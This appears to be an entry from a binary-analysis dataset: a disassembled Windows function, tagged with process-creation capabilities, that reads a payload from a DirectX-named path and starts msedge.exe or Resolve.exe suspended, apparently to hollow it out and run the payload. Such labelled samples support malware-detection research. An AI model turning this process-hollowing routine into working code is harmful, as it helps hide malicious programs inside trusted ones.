Function at 0x140138c7b
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
jmp 0x1401bc5d0
push rbp
push rsi
push rdi
sub rsp, 0x780
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x13c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14069d5c0]
xor rax, rbp
mov qword [rbp + 0x728], rax
lea rcx, [0x1406d5140]
call fcn.14013cce5
nop
call fcn.14013c777
nop
lea rax, str.C:WindowsDirectX
mov qword [rbp + 8], rax
lea rdx, str.C:Program_FilesBlackmagic_DesignDaVinci_ResolveResolve.exe
lea rcx, [rbp + 0x28]
call fcn.14013767d
nop
lea rdx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
lea rcx, [rbp + 0x68]
call fcn.14013767d
nop
mov qword [rbp + 0xa8], 0
lea rcx, [rbp + 0x68]
call fcn.14013aad5
movzx eax, al
test eax, eax
je 0x1401bc66f
lea rcx, [rbp + 0x68]
call fcn.140133dd9
mov qword [rbp + 0xa8], rax
jmp 0x1401bc68f
lea rcx, [rbp + 0x28]
call fcn.14013aad5
movzx eax, al
test eax, eax
je 0x1401bc68f
lea rcx, [rbp + 0x28]
call fcn.140133dd9
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x1401bc6c1
mov dword [rbp + 0x4f4], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.140134c93
nop
lea rcx, [rbp + 0x28]
call fcn.140134c93
mov eax, dword [rbp + 0x4f4]
jmp 0x1401bccc4
mov rcx, qword [rbp + 8]
call fcn.140139fa9
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
jne 0x1401bc703
mov dword [rbp + 0x514], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.140134c93
nop
lea rcx, [rbp + 0x28]
call fcn.140134c93
mov eax, dword [rbp + 0x514]
jmp 0x1401bccc4
mov rcx, qword [rbp + 0xc8]
call fcn.14013c4d4
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jne 0x1401bc75f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0xc8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov dword [rbp + 0x534], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.140134c93
nop
lea rcx, [rbp + 0x28]
call fcn.140134c93
mov eax, dword [rbp + 0x534]
jmp 0x1401bccc4
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x110]
call fcn.14013a594
nop
mov dword [rbp + 0x110], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x198]
call fcn.14013a594
nop
lea rax, [rbp + 0x198]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0
jne 0x1401bc82d
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x198]
call fcn.140135373
nop
mov dword [rbp + 0x554], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.140134c93
nop
lea rcx, [rbp + 0x28]
call fcn.140134c93
mov eax, dword [rbp + 0x554]
jmp 0x1401bccc4
lea rdx, [rbp + 0x1e4]
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
nop
mov qword [rbp + 0x208], 0
mov qword [rbp + 0x210], 0
cmp dword [rbp + 0x1e4], 0
je 0x1401bc8fc
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x5a8]
call fcn.140137b05
lea rcx, [rbp + 0x578]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x208]
lea rcx, [rbp + 0x578]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x210], 0
je 0x1401bc8bb
cmp qword [rbp + 0x208], 0
jne 0x1401bc8f7
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x198]
call fcn.140135373
nop
mov dword [rbp + 0x5d4], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.140134c93
nop
lea rcx, [rbp + 0x28]
call fcn.140134c93
mov eax, dword [rbp + 0x5d4]
jmp 0x1401bccc4
jmp 0x1401bc98e
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x628]
call fcn.140136480
lea rcx, [rbp + 0x5f8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x208]
lea rcx, [rbp + 0x5f8]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x210], 0
je 0x1401bc952
cmp qword [rbp + 0x208], 0
jne 0x1401bc98e
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x198]
call fcn.140135373
nop
mov dword [rbp + 0x654], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.140134c93
nop
lea rcx, [rbp + 0x28]
call fcn.140134c93
mov eax, dword [rbp + 0x654]
jmp 0x1401bccc4
mov rcx, qword [rbp + 0xc8]
call fcn.14013c245
mov dword [rbp + 0x234], eax
cmp dword [rbp + 0x234], 0
je 0x1401bc9b2
cmp dword [rbp + 0x1e4], 0
je 0x1401bc9c4
cmp dword [rbp + 0x234], 0
jne 0x1401bc9ec
cmp dword [rbp + 0x1e4], 0
je 0x1401bc9ec
mov dword [rbp + 0x674], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.140134c93
nop
lea rcx, [rbp + 0x28]
call fcn.140134c93
mov eax, dword [rbp + 0x674]
jmp 0x1401bccc4
cmp dword [rbp + 0x234], 0
je 0x1401bca09
mov rcx, qword [rbp + 0xc8]
call fcn.14013371c
mov dword [rbp + 0x254], eax
jmp 0x1401bca1b
mov rcx, qword [rbp + 0xc8]
call fcn.140134702
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0xffffffff
jne 0x1401bca60
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x198]
call fcn.140135373
nop
mov dword [rbp + 0x694], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.140134c93
nop
lea rcx, [rbp + 0x28]
call fcn.140134c93
mov eax, dword [rbp + 0x694]
jmp 0x1401bccc4
cmp dword [rbp + 0x1e4], 0
je 0x1401bca84
mov rdx, qword [rbp + 0x210]
mov rcx, qword [rbp + 0x198]
call fcn.140139a7c
mov dword [rbp + 0x274], eax
jmp 0x1401bca9d
mov rdx, qword [rbp + 0x210]
mov rcx, qword [rbp + 0x198]
call fcn.14013d18b
mov dword [rbp + 0x274], eax
cmp dword [rbp + 0x274], 0xffffffff
jne 0x1401bcae2
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x198]
call fcn.140135373
nop
mov dword [rbp + 0x6b4], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.140134c93
nop
lea rcx, [rbp + 0x28]
call fcn.140134c93
mov eax, dword [rbp + 0x6b4]
jmp 0x1401bccc4
mov eax, dword [rbp + 0x274]
cmp dword [rbp + 0x254], eax
je 0x1401bcb2c
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x198]
call fcn.140135373
nop
mov dword [rbp + 0x6d4], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.140134c93
nop
lea rcx, [rbp + 0x28]
call fcn.140134c93
mov eax, dword [rbp + 0x6d4]
jmp 0x1401bccc4
cmp dword [rbp + 0x234], 0
je 0x1401bcb49
mov rcx, qword [rbp + 0xc8]
call fcn.14013bc37
mov dword [rbp + 0x294], eax
jmp 0x1401bcb5b
mov rcx, qword [rbp + 0xc8]
call fcn.140136e3a
mov dword [rbp + 0x294], eax
cmp dword [rbp + 0x234], 0
je 0x1401bcb84
cmp dword [rbp + 0x294], 0
jne 0x1401bcb84
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x198]
call fcn.140136df9
test eax, eax
jne 0x1401bcbff
cmp dword [rbp + 0x234], 0
je 0x1401bcbad
cmp dword [rbp + 0x294], 0
je 0x1401bcbad
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x198]
call fcn.1401358fa
test eax, eax
jne 0x1401bcbff
cmp dword [rbp + 0x234], 0
jne 0x1401bcbd6
cmp dword [rbp + 0x294], 0
jne 0x1401bcbd6
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x198]
call fcn.14013414e
test eax, eax
jne 0x1401bcbff
cmp dword [rbp + 0x234], 0
jne 0x1401bcc3b
cmp dword [rbp + 0x294], 0
je 0x1401bcc3b
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x198]
call fcn.14013842e
test eax, eax
je 0x1401bcc3b
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x198]
call fcn.1401374e3
nop
mov dword [rbp + 0x6f4], 0
lea rcx, [rbp + 0x68]
call fcn.140134c93
nop
lea rcx, [rbp + 0x28]
call fcn.140134c93
mov eax, dword [rbp + 0x6f4]
jmp 0x1401bccc4
cmp qword [rbp + 0xc8], 0
je 0x1401bcc5e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0xc8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
cmp qword [rbp + 0x1a0], 0
je 0x1401bcc76
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x198], 0
je 0x1401bcca1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rbp + 0x714], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.140134c93
nop
lea rcx, [rbp + 0x28]
call fcn.140134c93
mov eax, dword [rbp + 0x714]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, reloc.WS2_32.dll_getsockname
call fcn.14013b1e7
mov rax, rdi
mov rcx, qword [rbp + 0x728]
xor rcx, rbp
call fcn.140137add
lea rsp, [rbp + 0x730]
pop rdi
pop rsi
pop rbp
ret